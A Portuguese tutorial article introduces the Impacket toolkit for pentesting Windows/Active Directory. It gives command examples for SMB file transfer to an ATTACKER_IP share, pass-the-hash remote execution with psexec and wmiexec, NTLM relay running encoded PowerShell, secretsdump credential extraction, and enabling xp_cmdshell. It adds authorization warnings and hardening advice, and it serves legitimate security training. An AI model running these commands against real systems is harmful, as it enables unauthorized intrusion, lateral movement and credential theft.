> For the complete documentation index, see [llms.txt](https://nailtpax.gitbook.io/nailtonpaixao/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://nailtpax.gitbook.io/nailtonpaixao/articles/conhecendo-o-impacket.md).

# Conhecendo o Impacket

***

### Introdução

Impacket é um conjunto robusto de bibliotecas e ferramentas Python focadas em protocolos nativos de ambientes Windows/Active Directory (SMB, WMI, LDAP, Kerberos etc.). Por isso, é largamente adotado por profissionais de **offensive security** e red teams: permite desde transferência de arquivos até execução remota de comandos e extração de credenciais.

> ***Aviso:** muitas dessas ações disparam rapidamente EDR/SIEM em ambientes produtivos. Use sempre em laboratório controlado ou com autorização explícita.*

***

### Por que vale a pena conhecer?

* **Cobertura ampla** de protocolos essenciais em infraestruturas AD/Windows.
* **Ferramentas práticas** que aceleram tarefas de pós-exploração: movimentação lateral, enumeração, e coleta de credenciais.
* **Open source** — ideal para estudo, automação e integração em playbooks de pentest.

***

### Conhecendo as ferramentas mais populares

Abaixo, uma seleção prática de ferramentas muito usadas — foco no *quê*, *por que* e exemplos de comando.

#### smbserver

Útil para transferir arquivos entre sua máquina e um host Windows via SMB. Serve para distribuir payloads, ferramentas ou exfiltrar dados em testes controlados.

Exemplo (modo usual):

```bash
# se instalado via pip (o nome do binário pode variar)
impacket-smbserver SHARE /home/kali/share --smb2support

# ou executando o script do repo
python3 ~/impacket/examples/smbserver.py SHARE /home/kali/share --smb2support
```

Conectar a partir de um Windows:

```powershell
net use Z: \\ATTACKER_IP\SHARE
```

***

#### smbclient

Ferramenta para conectar-se a shares SMB (sessões nulas ou autenticadas) e listar/transferir arquivos — útil para enumeração e movimentação de dados.

Exemplos:

```bash
# listar shares com sessão nula
smbclient -N -L //TARGET_IP

# conectar com credenciais
smbclient '\\TARGET_IP\ShareName' -U 'DOMAIN\user'

# versão Impacket
python3 ~/impacket/examples/smbclient.py 'DOMAIN/user:Password@TARGET_IP'
```

***

#### psexec

Implementa um método de administração remota que copia um binário de serviço ao host remoto e o executa via Service Control Manager. Requer credenciais administrativas (ou hashes). Muito útil quando já se dispõe de credenciais elevadas — porém ruidoso e detectável por EDR.

Exemplos:

```bash
# com senha
psexec.py DOMAIN/Administrator:Password@TARGET_IP

# usando hashes NTLM
psexec.py -hashes :<NTLM_HASH> Administrator@TARGET_IP
```

***

#### wmiexec

Alternativa ao psexec que utiliza WMI/DCOM; às vezes oferece melhor interatividade quando psexec é bloqueado.

Exemplos:

```bash
# com senha
wmiexec.py DOMAIN/Administrator:Password@TARGET_IP

# com hash
wmiexec.py -hashes :<NTLM_HASH> Administrator@TARGET_IP
```

***

#### ntlmrelayx

Permite ataques de NTLM relay quando **SMB signing** está desabilitado. Útil para relaying de autenticações e movimentação lateral.

Exemplos:

```bash
# relaying para múltiplos targets listados em targets.txt
ntlmrelayx.py -tf targets.txt -smb2support

# relaying para um target específico
ntlmrelayx.py -t smb://TARGET_IP

# executar comando via relay (PowerShell codificado)
impacket-ntlmrelayx --no-http-server -smb2support -t TARGET_IP -c 'powershell -enc <BASE64_PAYLOAD>'
```

**Requisitos:** SMB signing OFF; presença no caminho de autenticação (ex.: Responder / MITM).

***

#### secretsdump

Ferramenta valiosa de pós-exploração: extrai hashes NTLM, chaves Kerberos e segredos armazenados no SAM/LSA/NTDS.dit. Funciona remotamente (com credenciais/condições) e offline (com arquivos extraídos).

Exemplos:

```bash
# dump remoto com credenciais
secretsdump.py DOMAIN/Administrator:Password@TARGET_IP

# usando hashes
secretsdump.py -hashes LMHASH:NTHASH DOMAIN/Administrator@TARGET_IP

# dump offline (com arquivos extraídos)
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
# ou
secretsdump.py ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL
```

***

#### mssqlclient

Conecta e executa comandos em MS SQL Server — útil para descobrir `xp_cmdshell`, exfiltrar dados ou pivotar para outros hosts.

Exemplos:

```bash
# conectar com autenticação Windows
mssqlclient.py 'DOMAIN/user@MSSQL_SERVER' -windows-auth
```

Habilitar `xp_cmdshell` e executar comando (exemplo SQL a ser executado dentro do cliente):

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -NoP -NonI -W Hidden -Enc <BASE64_PAYLOAD>';
```

***

#### GetADUsers

Ferramenta para consultas LDAP/AD que coleta informações úteis sobre contas (último logon, `pwdLastSet`, descrições etc.) — essencial na enumeração.

Exemplos:

```bash
# consulta básica (informar IP do DC se necessário)
GetADUsers.py -all-dc-ip DC_IP domain/username:password

# obter atributos específicos
GetADUsers.py domain/username:password -all-dc-ip DC_IP --users --attributes 'sAMAccountName,lastLogonTimestamp,pwdLastSet'
```

***

#### Outras ferramentas...

A lista é grande e você pode encontrar no repositório oficial junto com a documentação em:\
<https://github.com/fortra/impacket>

***

### Boas práticas e riscos

* **Ambiente controlado:** execute apenas em laboratórios ou com autorização expressa.
* **Detecção:** comandos como `psexec` e `secretsdump` costumam acionar EDR/SIEM — documente o impacto.
* **Ética/legalidade:** nunca execute em redes sem consentimento escrito.
* **Hardening recomendável:** habilitar **SMB&#x20;*****signing True***, reduzir privilégios administrativos, monitorar criação de serviços remotos e reforçar proteção dos Domain Controllers.

***

### Conclusão

Impacket é uma caixa de ferramentas essencial para quem atua com pentest em ambientes Windows/AD. Conhecer cada ferramenta — e como suas ações são detectadas — é tanto uma vantagem ofensiva quanto uma oportunidade para melhorar defesas. Teste em um ambiente seguro e use o conhecimento para fortalecer controles.

\#Infosec #Pentest #RedTeam #ActiveDirectory #Impacket #CyberSecurity
